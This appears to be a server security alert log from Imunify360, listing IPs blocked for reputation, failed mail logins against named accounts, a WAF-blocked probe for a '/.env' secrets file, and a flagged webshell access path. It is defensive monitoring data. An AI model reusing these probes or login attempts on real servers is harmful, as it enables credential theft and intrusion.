abuser: 155.4.31.215
country_id: 2661886
description:
2026-07-25 06:56:01 dovecot_login authenticator failed for H=h-155-4-31-215.a2204.priv.bahnhof.se ([180.188.253.150]) [155.4.31.215]:41758: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 123.25.97.85
country_id: 1562822
description:
Jul 25 06:55:16 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 123.25.97.85 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.255.170.48
country_id: 2017370
description:
Jul 25 06:55:24 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.255.170.48 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.26.63.83
country_id: 1814991
description:
Jul 25 06:55:49 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.26.63.83 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 95.85.94.17
country_id: 1861060
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:06-55.95.85.94.17||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 75.158.203.80
country_id: 6251999
description:
Jul 25 06:55:56 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 75.158.203.80 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.169.136.182
country_id: 6252001
description:
Jul 25 06:56:01 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.169.136.182 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.245.236.231
country_id: 1562822
description:
Jul 25 06:56:06 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.245.236.231 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.119
country_id: 2750405
domain: cpcalendars.ibmcglobal.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=w240qmnt&v=0ya1q||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.113
country_id: 130758
description:
Jul 25 06:57:08 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.113 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.106.104.25
country_id: 1562822
description:
Jul 25 06:56:56 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.106.104.25 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.9.98.210
country_id: 2921044
description:
Jul 25 06:56:56 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.9.98.210 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.26.252.159
country_id: 6252001
description:
Jul 25 06:56:59 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.26.252.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.37
country_id: 130758
description:
Jul 25 06:58:00 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.37 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.255.190.69
country_id: 2017370
description:
Jul 25 06:57:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.255.190.69 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.255.190.69
country_id: 2017370
description:
2026-07-25 06:57:50 dovecot_login authenticator failed for H=([178.178.194.135]) [92.255.190.69]:50894: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.42.7.20
country_id: 1814991
description:
Jul 25 06:58:00 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.42.7.20 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.187.78.189
country_id: 1269750
description:
Jul 25 06:58:00 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.187.78.189 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.187.78.189
country_id: 1269750
description:
2026-07-25 06:58:02 dovecot_login authenticator failed for H=([119.152.102.54]) [103.187.78.189]:34902: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.57.200.119
country_id: 1835841
description:
Jul 25 06:59:10 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.57.200.119 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.7
country_id: 130758
description:
Jul 25 06:59:01 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.7 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.90.234.245
country_id: 1282988
description:
Jul 25 06:59:22 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.90.234.245 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 164.92.198.75
country_id: 2921044
description:
Jul 25 06:59:28 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 164.92.198.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.160.244.105
country_id: 1880251
description:
Jul 25 07:00:35 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.160.244.105 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.61.54.90
country_id: 1814991
description:
Jul 25 07:00:46 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.61.54.90 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.165.126.207
country_id: 1269750
description:
Jul 25 07:00:50 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.165.126.207 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 66.116.233.132
country_id: 1269750
description:
Jul 25 07:01:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 66.116.233.132 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 25 07:01:11 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 105.174.17.50
country_id: 3351879
description:
Jul 25 07:02:03 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 105.174.17.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.210.191.157
country_id: 1819730
description:
Jul 25 07:02:11 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.210.191.157 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.55.89.5
country_id: 1269750
description:
Jul 25 07:01:29 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.55.89.5 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-07-25 07:01:31 dovecot_login authenticator failed for H=(201-91-242-197.customer.tdatabrasil.net.br) [103.55.89.5]:44154: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.46.192.20
country_id: 2510769
description:
2026-07-25 07:01:44 dovecot_login authenticator failed for H=([208.69.161.69]) [193.46.192.20]:47521: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.192.3.227
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://emergencyhvacrepair1.info\">homepage</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.171.211.213
country_id: 2635167
description:
Jul 25 07:04:05 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.171.211.213 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.138.247.211
country_id: 1814991
description:
Jul 25 07:03:32 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.138.247.211 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.9.98.210
country_id: 2921044
description:
Jul 25 07:03:34 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.9.98.210 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 157.245.50.190
country_id: 1880251
description:
Jul 25 07:03:12 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 157.245.50.190 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.26.252.159
country_id: 6252001
description:
Jul 25 07:04:40 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.26.252.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.51
country_id: 130758
description:
Jul 25 07:05:00 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.51 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.61.54.90
country_id: 1814991
description:
Jul 25 07:04:59 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.61.54.90 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.216.118.192
country_id: 1562822
description:
Jul 25 07:05:03 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.216.118.192 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.160.244.105
country_id: 1880251
description:
Jul 25 07:05:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.160.244.105 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.114.125.24
country_id: 1814991
description:
Jul 25 07:05:24 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.114.125.24 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.139.165.143
country_id: 1880251
description:
Jul 25 07:05:26 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.139.165.143 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.106.104.25
country_id: 1562822
description:
Jul 25 07:06:11 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.106.104.25 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.216.117.118
country_id: 1562822
description:
Jul 25 07:06:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.216.117.118 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 164.92.198.75
country_id: 2921044
description:
Jul 25 07:07:24 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 164.92.198.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.157.132.42
country_id: 1814991
description:
Jul 25 07:08:52 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 82.157.132.42 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 109.61.127.135
country_id: 1835841
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:07-09.109.61.127.135||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.178.167.58
country_id: 6252001
description:
Jul 25 07:08:52 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.178.167.58 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.220.127.123
country_id: 2921044
description:
Jul 25 07:09:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.220.127.123 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 51.107.70.126
country_id: 2658434
domain: yukticlick.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/yukticlick/public_html/wp-content||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.210.191.157
country_id: 1819730
description:
Jul 25 07:09:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.210.191.157 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.196.220.240
country_id: 1814991
description:
Jul 25 07:09:59 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.196.220.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.138.215.159
country_id: 1814991
description:
Jul 25 07:10:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.138.215.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 105.174.17.50
country_id: 3351879
description:
Jul 25 07:11:01 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 105.174.17.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.199.113.26
country_id: 3017382
description:
Jul 25 07:10:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.199.113.26 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 163.172.60.23
country_id: 3017382
description:
Jul 25 07:10:26 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 163.172.60.23 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.9.98.210
country_id: 2921044
description:
Jul 25 07:12:00 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.9.98.210 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.135.228.68
country_id: 1880251
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:07-12.45.135.228.68||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 75.158.203.80
country_id: 6251999
description:
Jul 25 07:12:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 75.158.203.80 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.196.37.197
country_id: 1814991
description:
Jul 25 07:12:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.196.37.197 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 167.99.240.181
country_id: 2921044
description:
Jul 25 07:12:15 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 167.99.240.181 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.223.38.27
country_id: 1814991
description:
Jul 25 07:12:56 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.223.38.27 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.161.242.168
country_id: 1835841
description:
Jul 25 07:14:03 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.161.242.168 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 123.25.97.85
country_id: 1562822
description:
Jul 25 07:13:25 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 123.25.97.85 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.130.76.154
country_id: 1814991
description:
Jul 25 07:13:28 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.130.76.154 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.105.128.185
country_id: 1814991
description:
Jul 25 07:13:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.105.128.185 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 138.124.244.36
country_id: 2658434
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:07-13.138.124.244.36||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.216.117.118
country_id: 1562822
description:
Jul 25 07:13:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.216.117.118 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 25 07:13:16 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 66.116.233.132
country_id: 1269750
description:
Jul 25 07:13:34 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 66.116.233.132 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.169.136.182
country_id: 6252001
description:
Jul 25 07:13:47 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.169.136.182 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.163.8.64
country_id: 1814991
description:
Jul 25 07:13:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.163.8.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.190.242.203
country_id: 1814991
description:
Jul 25 07:14:13 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.190.242.203 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.106.223.170
country_id: 1814991
description:
Jul 25 07:14:57 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.106.223.170 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.72
country_id: 130758
description:
Jul 25 07:15:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.72 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.134.30
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://hvacrepair1.info\">homepage</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 25 07:15:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 108.174.146.197
country_id: 3469034
description:
Jul 25 07:15:47 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 108.174.146.197 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.250.200.4
country_id: 2245662
description:
Jul 25 07:15:50 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.250.200.4 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.88.56.201
country_id: 6252001
description:
Jul 25 07:15:58 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.88.56.201 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.33.249.217
country_id: 1814991
description:
Jul 25 07:16:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.33.249.217 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.42
country_id: 130758
description:
Jul 25 07:16:49 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.70
country_id: 130758
description:
Jul 25 07:16:56 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.90.234.245
country_id: 1282988
description:
Jul 25 07:17:29 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.90.234.245 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.178.146.133
country_id: 1814991
description:
Jul 25 07:17:58 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.178.146.133 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.152.165.117
country_id: 1562822
description:
Jul 25 07:18:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.152.165.117 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 206.189.39.63
country_id: 1880251
description:
Jul 25 07:17:16 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 206.189.39.63 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.7
country_id: 130758
description:
Jul 25 07:17:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.7 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 141.98.101.181
country_id: 2635167
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:07-17.141.98.101.181||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.161.12.247
country_id: 1562822
description:
Jul 25 07:17:50 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.161.12.247 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.30.250.62
country_id: 690791
description:
2026-07-25 07:19:07 dovecot_login authenticator failed for H=([174.75.211.204]) [78.30.250.62]:53216: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 78.30.250.62
country_id: 690791
description:
Jul 25 07:19:05 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 78.30.250.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.219.70.92
country_id: 130758
description:
Jul 25 07:18:31 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.219.70.92 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.245.236.231
country_id: 1562822
description:
Jul 25 07:18:38 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.245.236.231 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.37
country_id: 130758
description:
Jul 25 07:18:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.37 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.78.65.154
country_id: 1269750
description:
Jul 25 07:18:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.78.65.154 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.65.154
country_id: 1269750
description:
2026-07-25 07:18:44 dovecot_login authenticator failed for H=([61.191.145.123]) [182.78.65.154]:46772: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.40
country_id: 1733045
description:
2026-07-25 07:18:19 dovecot_login authenticator failed for H=([115.93.117.61]) [49.124.151.40]:44280: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.9.98.210
country_id: 2921044
description:
Jul 25 07:18:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.9.98.210 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.165.126.207
country_id: 1269750
description:
Jul 25 07:18:44 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.165.126.207 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.132.215.237
country_id: 1819730
description:
Jul 25 07:18:59 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.132.215.237 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.90.67.84
country_id: 1643084
description:
Jul 25 07:19:35 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.90.67.84 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.233.127.194
country_id: 2017370
description:
Jul 25 07:19:47 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.233.127.194 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 212.47.240.106
country_id: 3017382
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:07-19.212.47.240.106||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
